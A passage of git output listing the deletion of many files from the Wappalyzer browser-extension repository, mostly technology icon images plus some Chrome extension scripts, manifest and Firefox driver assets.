Wappalyzer/drivers/chrome/images/icons/TYPO3 Flow.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/TYPO3 Neos.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/TYPOlight.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Tealeaf.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/TeamCity.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Tengine.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Textpattern CMS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/TiddlyWiki.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Tiki Wiki CMS Groupware.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Timeline.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Timeplot.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/TinyMCE.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Titan.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/TomatoCart.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/TornadoServer.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Trac.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/TrackJs.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Tumblr.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Twilight CMS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/TwistPHP.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/TwistedWeb.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Twitter Bootstrap.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/TypePad.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Typekit.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/UIKit.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/UNIX.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Ubercart.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Ubuntu.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/UltraCart.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Umbraco.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Underscore.js.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/UserRules.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/UserVoice.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Ushahidi.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/VIVVO.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/VP-ASP.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Vanilla.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Varnish.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Veoxa.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/VideoJS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/VigLink.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Vignette.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Vimeo.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Virata EmWeb.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/VirtueMart.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Visual WebGUI.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/VisualPath.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Volusion.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Vox.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Vue.js.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/W3 Total Cache.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/W3Counter.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/WP Rocket.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Web Optimizer.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Web2py.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/WebGUI.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/WebPublisher.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Webix.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/WebsPlanet.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Websale.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/WebsiteBaker.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Webtrekk.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Webtrends.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Weebly.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/WikkaWiki.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Windows CE.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Windows Server.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Wink.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Winstone Servlet Container.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Wix.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Wolf CMS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/WooCommerce.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Woopra.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/WordPress Super Cache.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/WordPress.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/Wowza Media Server.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/X-Cart.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/XAMPP.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/XMB.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/XOOPS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/XRegExp.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Xajax.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Xanario.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/XenForo.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/XiTi.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Xitami.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/YUI Doc.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/YUI.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/YaBB.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Yahoo Advertising.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Yahoo! Ecommerce.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Yahoo! Web Analytics.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Yandex.Direct.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Yandex.Metrika.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Yieldlab.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Yii.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/YouTube.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/ZK.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/ZURB Foundation.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/Zabbix.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Zanox.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Zen Cart.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Zend.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Zepto.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Zeuscart.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Zinnia.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Zope.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/amCharts.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/basket.js.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/cPanel.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/cgit.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/comScore.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/debut.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/default.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/dwhttpd.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/e107.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/eDevice SmartStack.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/eHTTP.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/eSyndiCat.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/eZ Publish.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/flask.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/git.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/gitweb.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/gunicorn.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/iCongo.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/iWeb.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/io4-CMS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/jQTouch.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/jQuery Mobile.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/jQuery Sparklines.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/jQuery UI.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/jQuery.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/jqPlot.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/libwww-perl-daemon.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/lighttpd.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/math.js.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/mini_httpd.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/mod_auth_pam.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/mod_fastcgi.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/mod_jk.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/mod_perl.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/mod_python.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/mod_rack.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/mod_rails.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/mod_ssl.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/mod_wsgi.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/node.js.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/nopCommerce.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/openEngine.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/osCSS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/osCommerce.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/ownCloud.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/papaya CMS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/phpAlbum.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/phpBB.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/phpCMS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/phpDocumentor.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/phpMyAdmin.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/phpPgAdmin.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/phpSQLiteCMS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/phpwind.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/prettyPhoto.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/punBB.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/reCAPTCHA.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/sIFR.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/sNews.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/script.aculo.us.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/spin.js.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/swift.engine.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/three.js.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/thttpd.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/total.js.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/uCore.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/vBulletin.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/viennaCMS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/webEdition.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/xCharts.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/xtCommerce.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/xui.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/yepnope.js.png delete mode 100644 Wappalyzer/drivers/chrome/images/twitter.png delete mode 100644 Wappalyzer/drivers/chrome/js/content.js delete mode 100644 Wappalyzer/drivers/chrome/js/defaults.js delete mode 100644 Wappalyzer/drivers/chrome/js/driver.js delete mode 100644 Wappalyzer/drivers/chrome/js/ga.js delete mode 100644 Wappalyzer/drivers/chrome/js/i18n.js delete mode 100644 Wappalyzer/drivers/chrome/js/inject.js delete mode 100644 Wappalyzer/drivers/chrome/js/options.js delete mode 100644 Wappalyzer/drivers/chrome/js/popup.js delete mode 100644 Wappalyzer/drivers/chrome/js/wappalyzer.js delete mode 100644 Wappalyzer/drivers/chrome/manifest.json delete mode 100644 Wappalyzer/drivers/chrome/options.html delete mode 100644 Wappalyzer/drivers/chrome/popup.html delete mode 100644 Wappalyzer/drivers/firefox/README.md delete mode 100644 Wappalyzer/drivers/firefox/data/apps.json delete mode 100644 Wappalyzer/drivers/firefox/data/css/panel.css delete mode 100644 Wappalyzer/drivers/firefox/data/images/icon32.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icon32_hot.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/.gitkeep delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/1C-Bitrix.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/1und1.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/2z Project.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/3DM.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/3dCart.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/3ware.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/AMPcms.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/AOLserver.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/AT Internet Analyzer.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/AT Internet XiTi.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/ATEN.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/ATG Web Commerce.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/AWStats.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Accessible Portal.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/AdInfinity.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/AdRiver.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/AdRoll.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Adcash.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/AddShoppers.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/AddThis.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Adobe CQ5.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Adobe ColdFusion.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Adobe GoLive.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Adobe Muse.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Adobe RoboHelp.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Advanced Web Stats.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Advert Stream.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Adzerk.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Airee.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Akamai.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Algolia Realtime Search.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Allegro RomPager.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/Alloy.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/AlloyUI.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Amaya.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Ametys.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Amiro.CMS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Anchor CMS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/AngularJS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Apache HBase.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/Apache Hadoop.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Apache JSPWiki.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Apache Tomcat.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Apache Traffic Server.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Apache Wicket.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Apache.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/AppNexus.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Arc Forum.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Artifactory Web Server.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Artifactory.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/AsciiDoc.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Atlassian Bitbucket.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Atlassian Confluence.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Atlassian FishEye.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Atlassian Jira Issue Collector.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Atlassian Jira.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Avangate.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/BIGACE.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Backbone.js.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Banshee.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/BaseHTTP.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/BigDump.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Bigcommerce.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Bigware.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/BittAds.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Blogger.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/BlueKai.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Bluefish.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Boa.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Bolt.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Bonfire.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/Brother.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/BrowserCMS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/BugSense.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/BugSnag.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Bugzilla.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Burning Board.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Business Catalyst.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/BuySellAds.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/C++.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/CFML.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/CKEditor.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/CMS Made Simple.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/CMSimple.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/CO2Stats.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/CPG Dragonfly.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/CS Cart.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/CacheFly.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/CakePHP.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/Canon HTTP Server.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/Canon.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Carbon Ads.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Cargo.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/Catwalk.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/CentOS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/CenteHTTPd.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Chameleon.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Chamilo.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Chartbeat.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Cherokee.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/CherryPy.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Chitika.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/ClickHeat.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/ClickTale.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Clicky.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/CloudFlare.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/Cloudera.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/CodeIgniter.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/CodeMirror.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Commerce Server.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/CompaqHTTPServer.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Concrete5.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Connect.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Contao.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Contenido.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Contens.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/ContentBox.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/ConversionLab.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Coppermine.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Cosmoshop.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Cotonti.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/CouchDB.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/CppCMS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Craft CMS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Crazy Egg.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Criteo.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Cross Pixel.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/CubeCart.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Cufon.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/D3.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/DAV.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/DHTMLX.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/DTG.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Dancer.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Danneo CMS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Dart.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/Darwin.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/DataLife Engine.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/David Webbox.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Debian.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Decorum.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/DedeCMS.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/Dell.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Demandware.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Deployd.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/DirectAdmin.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Discourse.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Disqus.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Django CMS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Django.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Dojo.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Dokeos.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/DokuWiki.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/DotNetNuke.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Dotclear.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Doxygen.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/DreamWeaver.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Drupal Commerce.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Drupal.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Dynamicweb.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/E-Merchant.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/ELOG HTTP.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/ELOG.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/EPiServer.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/EPrints.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/ESERV-10.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/EWS-NIC4.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/Ecodoo.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/EdgeCast.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Eloqua.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/EmbedThis Appweb.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Embedthis-http.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Ember.js.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Enyo.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Epom.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/Erlang.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Exhibit.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Express.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/ExpressionEngine.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/ExtJS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/FAST ESP.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/FAST Search for SharePoint.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/FWP.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Fact Finder.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Fat-Free Framework.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Fedora.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Fireblade.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/FlashCom.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/FlexCMP.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/FluxBB.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Flyspray.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Font Awesome.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Fortune3.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/FreeBSD.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/FreeTextBox.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/FrontPage.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Fusion Ads.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/G-WAN.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/GX WebManager.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Gallery.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Gambio.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Gauges.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Gentoo.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Get Satisfaction.png delete 